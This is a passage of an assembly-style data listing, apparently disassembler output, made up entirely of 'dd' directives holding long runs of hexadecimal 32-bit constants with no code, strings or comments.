0A32DDA8Eh dd 4D3C9423h, 0FB0CF463h, 0B0B173EFh, 0D1950041h, 3E179DCEh dd 3A122546h, 0C0097E9h, 0FC3CEF3Dh, 323900F3h, 0E606188Dh dd 6C0B3435h, 16165D37h, 0E34D00A8h, 94DBD821h, 0CCA82F10h dd 66FEAF84h, 0A2310B00h, 139E3250h, 587412C5h, 33C828Ch dd 4D2B033Ch, 0E9453FB7h, 0F5B4AE8h, 0EDD0FF54h, 1C921815h dd 0FD037DC8h, 60F98BC3h, 441EE50h, 22F76B8Ah, 5624C88Fh dd 1421613h, 8B7EBC1Ch, 0DC96699h, 3AFC90CFh, 5C65017Fh dd 7D6A4C3h, 7173EFD1h, 1E26417h, 505BAE01h, 0A8C43442h dd 0EBA000D5h, 32B41AA1h, 36017873h, 4BBA1164h, 2CD05737h dd 590E3946h, 3B96A80h, 4F840FD4h, 0DBA66F1Ch, 3913F680h dd 75A2D9BAh, 782E120Dh, 0E2CC1433h, 7FB29300h, 3698EB2Ch dd 57B1EC02h, 41D54D72h, 0FC40437Dh, 92C5816Eh, 0A5FB2A10h dd 0AC6F01C0h, 292B95BEh, 6AD851BBh, 0BCD18DB2h, 80602969h dd 41B660A6h, 395D98B0h, 0C610B960h, 0A975F2h, 12EEFBF3h dd 0DBA0925Fh, 449E611Dh, 358709Ch, 35A424h, 89C75DF4h dd 68DA4BC9h, 7DFBC00h, 0B05072ADh, 5FD3016Dh, 17C1EA83h dd 0A2B7FCA5h, 0C9AFFB00h, 0E3635DE0h, 55643C44h, 1BEB3884h dd 0A1E08156h, 0D875E51Ch, 0B6005E5Dh, 947A8786h, 4A7BB3Dh dd 0C3E26CE4h, 421B80ABh dd 445CCF69h, 0DF381Fh, 0E6111E23h, 39D950h, 5A6A56A6h dd 4B02A736h, 1BC86C00h, 5916883Bh, 6298B3h, 0D2D08B7Ch dd 7314032Bh, 6397CB07h, 0C0F318E7h, 0C0D6A25Bh, 0E378E0Ch dd 67150C13h, 63168240h, 400004A8h, 525CE25Ah, 0F4BEC9E9h dd 0F659011Bh, 21482519h, 1660F81Eh, 0EC4C500h, 4F3481EEh dd 3353E59h, 0F19DB301h, 0D88A0ADFh, 0F40025B9h, 3992C3D8h dd 0D55BB1h, 1FBF2FE2h, 0DB097690h, 10013200h, 73032D6Eh dd 12AD0069h, 0FD284A92h, 370038DFh, 3565EF23h, 1F7D4025h dd 0C004F37Bh, 11127E5Dh, 0B90086F8h, 0C87F03C5h, 0FFC97D5h dd 0FE7D89C3h, 6170A820h, 9C0BD1DCh, 87B5D476h, 4DD01A50h dd 18786946h, 3244B779h, 5F3AF376h, 4F5C00D1h, 7436D909h dd 0F013005Ah, 56CCBDFAh, 0E90021B8h, 69183895h, 0A939F4h dd 118F2A1Fh, 4AD225Ah, 3D69D09Fh, 2B8059D9h, 63EF24Ah dd 1C00453Bh, 0A4FE4F95h, 7BFFABh, 0E66BDC55h, 0D247C28Fh dd 1F00C4E0h, 0F51368Bh, 56D6CFCh, 78A7CCC5h, 25C1AE50h dd 9C6093C1h, 7500B467h, 405C8008h, 6A264BECh, 0C0005E75h dd 0C2467F83h, 1C69B5h, 153C21BCh, 13638B79h, 283D5Ch dd 1EA42DD9h, 24A2EC62h, 34162Ch, 508437Ah, 6E008980h dd 0D4871B9Eh, 79FECAh, 0F1487E5Ah, 0E5587F5Ch, 0B4FF2002h dd 605B1D67h, 39AB4E0Ch, 7734F6h, 2E8082CBh, 453EB161h dd 8E213500h, 956E40F1h, 58BE008Ah, 8D791354h, 2500DE68h dd 0D7341933h, 9C0ED67h, 0C2535DFDh, 1B631100h, 0FC9C3F9Dh dd 2C62B43h, 2D76F518h, 0A0A0403Ah, 20441DEh, 10F9F700h dd 0E9716DD9h, 8899482Fh, 8F0B9C42h, 0E4001BF5h, 201805D5h dd 68F03774h, 7EED18C0h, 6129C91h, 0F74EE628h, 8300A853h dd 363ED08Ah, 2E58B1h, 295BF025h, 85BACEE1h, 183DF12Eh dd 0C3E2C00h, 0EA3CC760h, 0B1BE01D9h, 7DF96790h, 7E7C4C9Ch dd 0AB3BEC0Ch, 0B6A0E8h, 9CFF2349h, 2E07FD4Eh, 0D560F000h dd 0A4F90F3Dh, 0BAA80191h, 9372CDDEh, 0D6C8CC8Fh, 0F0A12600h dd 8032458Eh, 0C94A096Ah, 1C8068B5h, 12789ED3h, 0E7C14C00h dd 0D8EB0879h, 0EDE63ED7h, 75F92500h, 0B25FEF02h, 5C725516h dd 33C280C0h, 256734Ah, 0C6C10A0Eh, 0B2628C96h, 7D0FB8C0h dd 30140B4h, 299BCF58h, 49C487E6h, 0D7781C50h, 9679004Ah dd 4ECB3C55h, 740C8692h, 60039CD0h, 8C890154h, 3CABEBD1h dd 66A7F83Ah, 0BE5E5838h, 0C05D57h, 16034652h, 0BF79E8h dd 0F262C80Bh, 42C12B0Fh, 18E449C1h, 0B9985733h, 0E8A950E9h dd 42B10B31h, 0E3F09958h, 588BF8D3h, 0AE0FD9D6h, 0CC60D9C0h dd 33506813h, 0C37886E7h, 74EA7FDh, 3A6CC5B2h, 181D807Ch dd 4030D459h, 0FEF499BDh, 4FF0009Fh, 3E944C5Bh, 90006B18h dd 99BBE858h, 0C0B679E1h, 0F12D9139h, 7714863Bh, 8A80ABD0h dd 3E93745Fh, 37C44300h, 0F67ADEE6h, 0D3D607DAh, 0FCD4EEh dd 241B35C2h, 0D84C900h, 486A0C92h, 5FAB30E8h, 8FCBB540h dd 96235801h, 7512E03h, 0E2DE7474h, 713989Eh, 0E1D230AEh dd 8AB70182h, 0E905F00Dh, 0F33CACF0h, 4A0A0185h, 9DB4F496h dd 9BF070h, 6FE3C7F5h, 2C6B3957h, 6F45548h, 0ADFF3C9Eh dd 99451850h, 1442D098h, 2BEDFB00h, 44C58397h, 880B03C9h dd 0D13C4BE4h, 0D7541801h, 615A686Eh, 0F058E8F0h, 5D213C02h dd 7B148A06h, 8500287Eh, 0CC6AA3C7h, 0E8ABE4ACh, 0B018C2D2h dd 0D8F1DF82h, 835CEC0h, 0D390073Ah, 4582E5BDh, 0A9800A4h dd 14866116h, 2AD40E00h, 13023A97h, 14B7D11h, 0E1D34C5Ah dd 9FA30152h, 0FB073430h, 41D0DA95h, 0AEF04Fh, 3A9D0B9Fh dd 731FC987h, 2890612Ah, 0A5AF5219h, 0C042E319h, 0DE32E69h dd 0A91D5770h, 99547E3Dh, 3A67C060h, 3735BE24h, 48A86516h dd 468785BFh, 9040731Ch, 98C0696Fh, 0C52B0556h, 0CD739DAh dd 6550253Ch, 4C2A7CA4h, 0EE5008E3h, 0E818B53Ch, 1019BE52h dd 84F5524Bh, 0DD248209h, 190C0823h, 0D5049010h, 35D01588h dd 49E1604Bh, 6ABC909Fh, 0C638EE60h, 3EA4C89Bh, 0DA3A4ED2h dd 1A7B428Ah, 0A10A89B8h, 0E4C4D85h, 60A08318h, 0FFCD3A39h dd 0F4649218h, 0A0535F59h, 0EA52791Ch, 39D71EE4h, 9099708Fh dd 6930D226h, 56881180h, 9E801D1h, 87D08C11h, 0BF84502Eh dd 822ED3D2h, 0D181FC45h, 9DEC4817h, 2A1109Dh, 9E4AD9C6h dd 30E3C400h, 181C60E7h, 0D11B0367h, 334D951h, 0C1077594h dd 0EF90483Ah, 5C5E9B40h, 19A0AB2Dh, 5859B478h, 1F00240Ah dd 79C17106h, 30102DDFh, 58A190E7h, 0A212ED1Dh, 0C8021680h dd 0A1B3630Ah, 970FDF84h, 0C03367D0h, 13A38270h, 9002C010h dd 0BCC2C650h, 7C5F0598h, 0C683BF40h, 40408668h, 0D43D567Eh dd 0DD1960E3h, 78096051h, 480C8386h, 213F87D1h, 4154AA18h dd 0BC52CD70h, 4D3C212Fh, 3A388C14h, 0ECB508D8h, 0D3911C88h dd 921AFF13h, 1040B0DDh, 28842C62h, 210CD530h, 71083F16h dd 271242EEh, 3C09AC23h, 0B9899F49h, 0B8A5D270h, 0DAD105F5h dd 9CD6C057h, 8D219D0h, 9392FCD0h, 0DC2D0048h, 6DC0C1EFh dd 0EC50B76Bh, 0F00D7B4h, 35029353h, 15E3CD2h, 4CFDED83h dd 30E9B714h, 306C6954h, 8CBD78D8h, 7E483604h, 0EF62EC58h dd 48CFA02Fh, 0C33023h, 0AF340850h, 43CA490h, 0DCFE58C2h dd 2525DC1Ah, 9966B048h, 845AE11h, 127E0400h, 0F8E58636h dd 0DD5F5919h, 2180FC08h, 0A41261CDh, 95019089h, 110A6D58h dd 0BBE05256h, 6F0D029Eh, 91EB9255h, 0AB3DD8A0h, 0B01C582h dd 180779A8h, 2BD17698h, 0F8DB219Fh, 8E06D480h, 0D96E21C1h dd 0FCB25606h, 465185F5h, 828402A7h, 31A00BBAh, 7BDC109Fh dd 0F2260082h, 81F6753Dh, 0E358CA52h, 500B383Ch, 1F0067BCh dd 34B021EAh, 1ADB11h, 5260DCD1h, 0BDE7358Eh, 9BE3541Eh dd 9545D300h, 777D663h, 661DFF6Dh, 0AAF7800Ch, 2007A23h dd 58459EDFh, 0E74F20Bh, 8453EF72h, 5324B6E7h, 86F07BB1h dd 833FCBACh, 0FAAB8365h, 0E0154CC5h, 809001h, 0FBDCF95Ah dd 0B4D74DFEh, 0ED96B700h, 698B9208h, 4CD175A5h, 0BE039239h dd 0B19976A8h, 25642AC0h, 4BA6BB07h, 0D540AA02h, 0AB4352h dd 26C3C9C5h, 328F9DC1h, 2000EC7Ah, 7DE58915h, 0E6C6439h dd 9E88C6F8h, 68007B8Fh, 5A98600Ah, 6F00117Fh, 49F46593h dd 1DDDE10Ch, 3D10636h, 0F65844B0h, 68B3DBA0h, 0E1476B06h dd 3F5096E6h, 0EF44E88Ch, 8008F76Fh, 18E2BDCDh, 93F10010h dd 5F8A3178h, 743C3214h, 29073067h, 3E814076h, 780E34h dd 4477752h, 36C758FEh, 0E0B3FC3Ch, 7A30D6B9h, 0E4A90079h dd 0E2CA321Dh, 0D7008823h, 0D63E6029h, 0C0FAD833h, 0CB57C559h dd 0D00078B8h, 95E02871h, 94CE4Ah, 0CD3FE37Bh, 0C8532D06h dd 6063EE37h, 4F4544C0h, 4EE806DFh, 909EA9Ch, 24217160h dd 0E44FA0h, 6ED243D3h, 0EA76FFA4h, 0FC31A1C7h, 0E57BDFC0h dd 0F7840075h, 7756F5BCh, 1360D81Ah, 0DC986CE0h, 81B000CAh dd 79F947DBh, 2E8482Bh, 0A4F2B9C0h, 0F5F0BCBh, 83C71011h dd 0C85259A0h, 0A61C25C6h, 4381A1D0h, 34E326FBh, 5E8DEECh dd 0A879C8Eh, 0E5C443F7h, 9903768Fh, 0A905175Ah, 77900798h dd 47B71A37h, 81B15470h, 0F0B814h, 0ECFD6364h, 0A1D8074Ch dd 116C8AAEh, 0AF49349Eh, 300D7C38h, 1A790F60h, 3E88E50h dd 3516EC00h, 1F558AA9h dd 0F82C50D0h, 154520EEh, 0C8871805h, 2038CCBBh, 248A4673h dd 824024EEh, 2BDF301h, 0B69533A8h, 0B5804376h, 92E34D23h dd 81387B12h, 67C54020h, 2ECC00C2h, 15B3A212h, 237E28BBh dd 0E3FB9112h, 8D8D1C0Eh, 79F03152h, 1A023EE1h, 0F3D1D401h dd 0CC570753h, 30003177h, 6469486Ch, 0A8EFE043h, 359BA8h dd 0FF09D138h, 27F6FCAFh, 6094AC4Ch, 391D2A21h, 0B1121378h dd 0C98300D7h, 0E88438E3h, 4C794660h, 3A3F692h, 0E5D1C435h dd 0BBAA1F0Dh, 18341849h, 4ACA04DEh, 32482B81h, 0C6B82007h dd 177383CAh, 4B874502h, 80A7D30Dh, 2E4FEB20h, 74C34953h dd 0D462B28Fh, 0FC33E6E8h, 445985Fh, 1B07FECDh, 0DDE62A3Ah dd 9176D440h, 6EA4A913h, 9EC88C4Bh, 71368EC0h, 2A6E6022h dd 0C4080D4h, 6A85F30Eh, 151AC686h, 12C946B0h, 740A4F5Ch dd 6B4458B6h, 4FB74940h, 0DF009403h, 4DE92C9Bh, 7B47485h dd 635C23FFh, 306F51ACh, 3030A153h, 87185A71h, 2DC54800h dd 0A0943551h, 1FEC120Dh, 0E59401BFh, 22CC4F23h, 0C6E3A2Ch dd 11FB7CBAh, 0ABD50F8Ch, 8BC00E35h, 8ABCE768h, 2100DBE9h dd 77ABCDB3h, 21E4DE5h, 0D68DA25Bh, 0E0805AA5h, 8F3F912Ah dd 354D1490h, 4979012Ch, 24760C22h, 3E3E3830h, 0FB0DC56Dh dd 0B98D6Fh, 81F042DCh, 0A51248F4h, 4448E031h, 12B8A4FCh dd 30406349h, 0FCD840FDh, 2BC71C83h, 76ADE518h, 28579h dd 15217897h, 0C3D4E6CCh, 7DAB0D04h, 0E8807172h, 0A9A729h dd 0FA3970DDh, 370B4F48h, 83CEFC3Fh, 0AC1A85E8h, 4B404CECh dd 0B86F6072h, 0D10B4797h, 0C8E0F900h, 0E3733874h, 377B263Bh dd 809E11D4h, 0E8D94F5Fh, 77448C5Eh, 20A26056h, 72C69E5Dh dd 4DAD0B0Ch, 13F8C09Dh, 727168DAh, 1098150h, 68793028h dd 0E40E4880h, 8AD3FFC5h, 78032098h, 0FD3211F6h, 6BD088B3h dd 10949B55h, 0C220439Ch, 1914F11Bh, 9F4420F9h, 4F463E8Ch dd 2246E1BAh, 494B0178h, 602A894Fh, 0D1A3C03Bh, 8AF4B44Ch dd 0D45F047Bh, 0A42520B0h, 7C342189h, 0DB018DBCh, 0CF7A3029h dd 79393004h, 80805D3Ah, 637B67B1h, 88E141FFh, 36435100h dd 5681AEAFh, 4E0300C0h, 0A8975A0Ch, 0FF18EF95h, 4796207h dd 28777959h, 0F244735Fh, 995700F6h, 0F5AC794Ah, 59C08CE1h dd 5C0C263Bh, 0F7BF8DBh, 360BBAD7h, 6C918EC0h, 6661FA2Dh dd 690E8D98h, 0FF5196h, 176EF948h, 0F4608115h, 3AABBE19h dd 0C3E73EDDh, 0D4219380h, 0F854B477h, 0F87BCB26h, 2CABD060h dd 8ABC210Eh, 7D8891h, 0FF34ABC7h, 99C16A81h, 0D800A0A3h dd 58DD5A27h, 625A32Ah, 9D6A7247h, 347E2085h, 34C0F829h dd 0E334830h, 4434A4D4h, 9F01B182h, 9CC591ABh, 9472E087h dd 152ABD48h, 888C5C90h, 0D0AFD4CBh, 0C5ADC280h, 0C6A0C817h dd 800CAB6h, 26FB499Bh, 3B62A504h, 2E99887h, 45296010h dd 88C6D00Ch, 0FC951F5h, 184A93AAh, 505C58F7h, 325D7D66h dd 97116150h, 885DEC6h, 0CDC8458h, 0E2184748h, 88289DF1h dd 0A621970h, 0F5F4D2h, 72E7227Ch, 911F08EDh, 9A571A01h dd 61EEA9FFh, 65CB9980h, 24458CC8h, 0C774B902h, 0EB09D041h dd 0B025F850h, 9DE092h, 39879EA2h, 67D1D05Fh, 7BA19766h dd 806C5479h, 1D98C046h, 0FFED048h, 84892512h, 3019F892h dd 4110CAD9h, 0B9E0C381h, 3912CAC1h, 0CCC8F01Bh, 24681F7Ch dd 40725CC4h, 54D15CDEh, 400F077h, 3D433755h, 0AB218FDh dd 0E6674076h, 45C83438h, 40900CD4h, 797A9180h, 32E00166h dd 1967EF33h, 549DF8FFh, 0EC643C96h, 0A4106449h, 0ABCBC07Ch dd 43740E37h, 84228Bh, 0DEABC3BDh, 9E8FA67Dh, 0BC91FF75h dd 0A80A243Ah, 7481E344h, 7708FDD1h, 43D32500h, 4608EB40h dd 80A496E0h, 0E860BC2Ch, 5105C5D6h, 0A3295D77h, 320EC442h dd 89022474h, 83D4073Ch, 11148908h, 10D4A234h, 0E22C4B1Eh dd 0E75F85A4h, 30BC52E3h, 8126C210h, 33C04707h, 5F40370Ch dd 31B27051h, 0DCC863A9h, 0E14C10F9h, 0C039DD8Eh, 0ED70CDD8h dd 9372DCB2h, 23462B25h, 0B3E1D4h, 72EDAE29h, 2116E01Bh dd 0E2D6D004h, 5CE175CBh, 581A0F8h, 0F419EB49h, 1C9012FFh dd 0B0A1226Ch, 3C001595h, 59E401F0h, 8AA00656h, 6987B2E5h dd 295BEE30h, 0F22FB348h, 58AEA77h, 6646E4D6h, 23F03B74h dd 9A51F82h, 1C10EE0Bh, 563F5B5Fh, 7C0738EAh, 87196660h dd 0C1416Dh, 19971EE5h, 9525634Dh, 0C43EF500h, 7D34053Dh dd 6909316Ah, 80E081E8h, 0D5184269h, 0DD86C9h, 0E880FA4Ch dd 16B2B350h, 618AEE30h, 13BC4F9Ah, 6FCB95DDh, 483238Ch dd 88D64303h, 7008604h, 0BA2189E3h, 1B2CB5Dh, 0FC9EAB19h dd 50F6EE7Eh, 0A48A28C8h, 37900300h, 5DA13C87h, 0DF9609FCh dd 20A3DE7Eh, 6913F8E4h, 60D079E5h, 0A4EC398Ch, 1B3007ECh dd 82C13518h, 5440149Ch, 6FECBE10h, 1D5A713h, 50ED2C4Eh dd 23BFC44h, 6E8AAEA6h, 7890C6F8h, 3111ABD1h, 8488C40Eh dd 0ABC82780h, 40E2B4h, 924FEA96h, 0BC4E83F6h, 63D1F400h dd 2216D5E7h, 5D6F24FFh, 59B34038h, 11C060EEh, 0D84DF184h dd 4CB60094h, 79AC979Ch, 0E74295Ah, 0A477362Ch, 0AD66D400h dd 0CF65EE40h, 6DE01139h, 8E051EBFh, 7297A207h, 4741B833h dd 54341BE1h, 5C289C6Dh, 13CD18FFh, 0C1DDB28Bh, 819EA090h dd 0D9A9FD08h, 8CD0FC2Bh, 928B10Bh, 0F080D05Eh, 30D69EBDh dd 0C01621C8h, 0A40E2BD8h, 60918A01h, 0F6E58BE4h, 0CC708415h dd 584E89Ch, 7D733C71h, 0ABAC00B3h, 93F1A8B0h, 0EECEAA01h dd 0D758474Ah, 40322460h, 35F87974h, 0C1F66E13h, 0D6420407h dd 798044FAh, 2174D9E9h, 0B5A71215h, 0F0F490F4h, 20F3CEBDh dd 0FB196704h, 2639EC6Fh, 0F66D8420h, 0AE5E0055h, 0DE321546h dd 1602ECE8h, 85F5C56Bh, 23A4319h, 13352658h, 9892Ch, 0BE5E6D80h dd 0DEE4A062h, 867B0725h, 811DE8ADh, 431C16C1h, 0D081EB24h dd 1EC0209Eh, 0DB38E00Ah, 3401833h, 0DFFAE12h, 0FCE1094Eh dd 493BC4C1h, 3EB4E700h, 55D0B042h, 81C000FDh, 6D96519Bh dd 0A416E583h, 588070F9h, 3DE15FC2h, 149E211Ch, 0FAFD419Eh dd 0CA64F185h, 0B811006Bh, 620590F6h, 51769ACh, 4075F493h dd 3D67E89Ch, 11D672B9h, 1060580Ch, 0F0AC70A1h, 4EC2467h dd 0F65880D0h, 6A413B7Eh, 26590102h, 0C3444234h, 6767B4F0h dd 0BB81C1CAh, 0C0110C48h, 0CAC0CE21h, 0DC09DFB4h, 1B161412h dd 0A556B8A8h, 239E004Fh, 253B2732h, 5F14E165h, 48440C71h dd 0DACDC0BCh, 0B3424C0h, 0E187C6FFh, 41779498h, 803C7C4Ch dd 0DB784AD7h, 4A505C0Eh, 40E75C16h, 0CAF62538h, 0C8A0C6E4h dd 8954B3E5h, 0D7DDB88h, 90860098h, 0DD655B38h, 77B9002Ch dd 9E03CDC7h, 0EEFF186Fh, 9DD52959h, 0E4C05A00h, 0BEB28440h dd 14E2078Eh, 0B0AEE8FAh, 0EF794AB5h, 0C98F9000h, 0F3A52A2Dh dd 0C2090729h, 0C575087Ah, 0DB6489E1h, 455BB7D0h, 0B814BC00h dd 95D85427h, 3EDE0A37h, 15D48FFAh, 0ED04B015h, 0C8EF8A0Dh dd 8F00D5ACh, 0ABC5E5FFh, 0F953280h, 0B40A87E0h, 0F33B1020h dd 685CCF1Eh, 0B19E0294h, 20746AFBh, 8872E62Ah, 99EE0212h dd 92535840h, 5314919Eh, 5401B03Ah, 0A1B5B91Dh, 4F7AC047h dd 1760E100h, 0E9D7EB6Fh, 71121DECh, 0C8DF402Ch, 0D914C93Bh dd 0F8936300h, 6CE57BD0h, 1C477856h, 40CEBB4Eh, 9F44570h dd 6B00C725h dd 85DFE63Eh, 1D22F8AEh, 41BA492Ch, 1F2E0E7Fh, 0C067DC66h dd 88177500h, 87635E91h, 7650012h, 985F823Ch, 0B27F93F8h dd 0DB449F00h, 7BD48BA4h, 0E33F002Eh, 9575B60Ch, 8E00572Fh dd 4E0918B1h, 0FB3A2F7h, 2411326Bh, 0C28188E0h, 0F5E6EF65h dd 4EFAAE00h, 7DE5FD3Ch, 57FB18A5h, 91E9D18Bh, 0F58608C7h dd 4F0B1660h, 551B00CAh, 0DB133BE8h, 5C039D4Bh, 66E7AEEBh dd 8AD81F86h, 0A94A4180h, 0C4346D52h, 0BA008B87h, 0B39F0B72h dd 30F00C90h, 830EAE7h, 99012757h, 5AEDD5F8h, 10EC9230h dd 49110050h, 0C7F6BE3Ch, 64F69D2Bh, 804AC801h, 0AB1DC6Fh dd 0A1B5E543h, 20813F97h, 2B4BE3A9h, 5B0C86Fh, 1C28DB00h dd 55221F92h, 0A1881C11h, 2BC440AEh, 3EF28AA6h, 16D38C9h dd 384F89C7h, 8F1B2886h, 72401896h, 0C3AC4033h, 3C4A89C1h dd 4C50F768h, 23E24BFAh, 8B11CD47h, 4BF5AB00h, 0A6BCD65Fh dd 9EE7CFF6h, 7780C418h, 7F4839BDh, 98F10C75h, 93B810D2h dd 4E54AF33h, 0BDB000D3h, 1DF735E6h, 3F33684Bh, 0F20924h dd 35FF5DD1h, 0C0F65CA2h, 3A693EC7h, 219976h, 6F6694EBh dd 2ADA73E8h, 0D3209605h, 0B43B5562h, 0E5009223h, 2106EF28h dd 38593CF2h, 29BC5280h, 98877FD2h, 2B0CFC7Fh, 107D5E28h dd 4C040097h, 0CE672405h, 0C73F6B37h, 0F4DEBC53h, 0DAFA6900h dd 75EAE062h, 49C8004Dh, 0D5A82F43h, 9AF0F9E3h, 1D5C353Dh dd 21407F74h, 8591567Bh, 8FD0096h, 0BAC5D736h, 6012BBE2h dd 6303D9FEh, 0E09B06E9h, 1F1D2155h, 620B97h, 7BA7CE7Ch dd 0E301166Eh, 8F6B8C8Dh, 9570A077h, 620100A1h, 0F58F19Bh dd 0B3001C5Ch, 0A37C8FE4h, 0E64CE861h, 8AA200BEh, 0AAEE2AB1h dd 100076Eh, 0A85C384Ah, 9E3476h, 465BEDDEh, 0B9728B1Ch dd 0D8BE5800h, 0FB26988Ch, 0C304ADF1h, 4843BF30h, 727C804h dd 0C0D7CE5Ch, 682B4E37h, 46E3644h, 0F18D0B6h, 1C270A24h dd 0DC18A110h, 0BEE7085Ah, 0F3200782h, 0FE4C14C0h, 0C3CF0619h dd 99070530h, 50092B6Dh, 30F33400h, 144CA1D7h, 786869BAh dd 8B580A58h, 898F1B1Ch, 9A50100Fh, 0D1509499h, 29604210h dd 4A108A7h, 1AFE7033h, 813198F0h, 9EF6406h, 882B0B2Bh dd 8B433F83h, 13082A30h, 0E2348B0Ch, 0B04C8616h, 40705318h dd 8150A578h, 0D2E94F98h, 2286E046h, 35173305h, 700EF590h dd 8A64A195h, 0F0F8318Eh, 0FC09D07Ah, 0EB040BADh, 0D1318F3Fh dd 48B0EA10h, 0A600AFB4h, 0AA16210Dh, 4D238A0h, 0FFCCF4A2h dd 3B81202Eh, 0B9F9044Dh, 41241555h, 18529A5Dh, 69C23898h dd 1892ECB3h, 0DCA21F18h, 3F8F49h, 5ECF911Ah, 1E750194h dd 3278F112h, 6E3C9C4Fh, 0A4207299h, 0FC54726h, 3BC1CDA4h dd 6951CA66h, 59301AE8h, 63F448C0h, 7B2F0077h, 20A6B8Eh dd 0C74D717h, 0A22C1C74h, 8B003A7Dh, 0F2509DB1h, 2B9B2625h dd 5782812Ch, 0D0810587h, 10C1B97Ah, 94B3BE91h, 4899A025h dd 0E0B809BDh, 1200E2EEh, 0E84519D3h, 1B0D49h, 169A9724h dd 62F37ED1h, 9DD42D00h, 0A2B91A99h, 5240026Eh, 0BA043226h dd 116F90A0h, 0AA50336Ah, 5F33228Ch, 0E289E9E8h, 0DB346057h dd 0AC543047h, 3F678689h, 1691A307h, 789C185h, 19C0579Ch dd 0A8175440h, 18F9B0B8h, 11624773h, 88A0FA0Ch, 0A5719C9Dh dd 3F958D00h, 61308F0Fh, 279E0607h, 68824740h, 80C57081h dd 0A0891108h, 8DB80Ah, 8F65B08Ah, 5C5A6EF5h, 78559112h dd 0A3010406h, 0CE9D0321h, 0E89A25F0h, 0A7EA1CEh, 85ACBE50h dd 9094A980h, 0DA2E00F8h, 8DC13EAAh, 80029C66h, 17BDA799h dd 74252528h, 0A0B001A8h, 0E02785ABh, 0DB5CB096h, 973854DDh dd 9F9DC1C0h, 52B6EA16h, 6B8FB833h, 80A1C870h, 8A6F2D76h dd 10032CDBh, 0D0BE8670h, 9B7F885Fh, 4B301AEh, 278FC90Ch dd 0BEE0BD6Fh, 51586148h, 0A4461B92h, 9F48310h, 7F3DC5D0h dd 6377A180h, 53789511h, 0A63F1D1Dh, 7589C8B0h, 0D41B0E81h dd 7A80E2E8h, 0B33C2EA3h, 863461C4h, 149D1307h, 0E6C092FEh dd 0BECE9082h, 8A08B808h, 843915F5h, 8872580Eh, 3318BD82h dd 3D8A4A8h, 45B1F2D1h, 6EC98A0h, 9F448CAEh, 0C94610D8h dd 0C9B26A4h, 502F8E43h, 0C2F21C81h, 234B47E8h, 0AFA3304Eh dd 23882944h, 9BD90614h, 228D204Ch, 0C0CC4B17h, 0C0DBF199h dd 4ADEBD29h, 0AA0151A8h, 9ACC2D1Bh, 0E82019B1h, 0D41A165Eh dd 0ED8C3017h, 0E30986D1h, 11D2B3ABh, 29908178h, 0C9158172h dd 3C418BB6h, 8820C11Ch, 58D7541Ah, 0FFB92422h, 0E79B0AB0h dd 53A44048h, 0F0A09042h, 241D2C0Ah, 0EA4094FFh, 0AFE3F308h dd 905C308Dh, 0A70B4BB0h, 9C80D600h, 6D509FFAh, 0ACD0008Ah dd 47CCFD65h, 1207E974h, 0DF920851h, 2036FCD0h, 911F046h dd 0EE171BCCh, 80FFB587h, 0BFD2D112h, 753040FAh, 8CEE390Fh dd 0A85F1E87h, 58012005h, 4188C044h, 67D8E257h, 3DB271CAh dd 0B0801977h, 0B547D411h, 0F267C50Eh, 48B35158h, 1FF0C3F7h dd 7EB18811h, 0EC99B306h, 0C70181A3h, 730DBFBAh, 3E6B450h dd 0F4A14183h, 6C8AE0B5h, 5E5710C0h, 0CCCC74Ch, 0C8EEE3Fh dd 773E4041h, 70850643h, 100633h, 0C60EC36Ah, 714F3682h dd 0AFB9C3Eh, 98D9A974h, 0DDA43E00h, 0B8DA41h, 3F34E21Bh dd 8D0E82DCh, 4266C703h, 0ED5149AAh, 9818843h, 0A9E6F82Bh dd 3377005Ah, 92BEAEDAh, 891E7414h, 70800CC9h, 0DBEBA375h dd 1DBC0090h, 711210B2h, 0CB39B77Eh, 60DC0420h, 0E847FF13h dd 0FEC2F8Eh, 0D9007111h, 0CBC9871Bh, 646649h, 0CCB6F56Ah dd 1A8CB430h, 47299190h, 31009488h, 89DEE572h, 369B0006h dd 7595B590h, 30041C8h, 64BED0C1h, 78D77Eh, 5C212511h dd 0EEF9F1C4h, 0F402C672h, 0A8C98F30h, 37F4A0FBh, 43A291h dd 2C4FD10Bh, 8DFCF568h, 752180E5h, 0B41A491h, 0B47C00ECh dd 6F40F303h, 1A0662EDh, 9447FEEh, 58CC03D0h, 0A32FEF90h dd 47C8FC0h, 5448E9C0h, 0BD872h, 21F4F290h, 3682D6Fh, 8CC1A800h dd 4ABF1D9Fh, 7750688h, 0B8E60802h, 93063900h, 9A996CCCh dd 646D4856h, 9E38D03Ch, 61196098h, 4E008BD6h, 0B09F734Bh dd 59DF15h, 7B07BC6Eh, 0EF6F5AEAh, 0C05E7800h, 82B2F2A2h dd 67360191h, 0B19E8EFCh, 495E283h, 0F5860400h, 2982BBh dd 93B7A653h, 0BC4A8CA9h, 730A4E00h, 57B6A0E0h, 0CAA8015Ch dd 9C962A2Dh, 0F82890B3h, 9F48418Fh, 0C976D004h, 4883B404h dd 9F994234h, 51CCE427h, 40974450h, 64B10444h, 409879EDh dd 0CCF6F0C6h, 0D0FE008Eh, 6BD778F3h, 0C00D65Eh, 46059537h dd 0AD8C40h, 308A7C86h, 4067F3Eh, 2573ED07h, 0E810B8D2h dd 0C076A5h, 1D6A055Fh, 0C7E0402Fh, 6101827Fh, 0E644EB2Bh dd 22DCBD38h, 0DAA13E3Eh, 50D2C300h, 0AF966519h, 458D5E03h dd 0D876D6BAh, 0C940E0BDh, 0B600C496h, 725D4EB9h, 0AEADD200h dd 4ABB43B6h, 0DADD008Ch, 60208751h, 2401CCB0h, 693A3E66h dd 0C8D40228h, 0CC8E5042h, 0DBE4A1h, 0B745268Fh, 69479E96h dd 30B00400h, 6D66D43Dh, 7C923F6Bh, 1E5BDD80h, 0DC543C12h dd 0EDCCB203h, 0D09FD94Ah, 123E1F39h, 1FB49E26h, 0C40CBE10h dd 0D528E12Fh, 4AECA00h, 5D0CBF1h, 5B821396h, 1CD91C48h dd 77F60061h, 2D08F5F3h, 84439F00h, 0E1E8E5FDh, 0A3C10080h dd 0F12C49B1h, 170027FAh, 0AED4FE35h, 0DC0C61Ch, 0C23A851Fh dd 0FB6ECC30h dd 2F035B1Ah, 55C90042h, 3F29908h, 482BE8DAh, 72C838CBh dd 0A63E2F2Ah, 0D97A0049h, 0AB75D546h, 0E0BE0E09h, 0C700D0DBh dd 32248E47h, 0F0986C00h, 1B2F7F21h, 35DC1D45h, 5E134025h dd 607B193Bh, 0A2B7160Ah, 0E309FCABh, 539D0075h, 47119Ah dd 0EA62E409h, 0F3DF79A4h, 0B107C06h, 0ECEE3638h, 0B8D00031h dd 863B7B0Ch, 3F002124h, 523870E2h, 392FCAB3h, 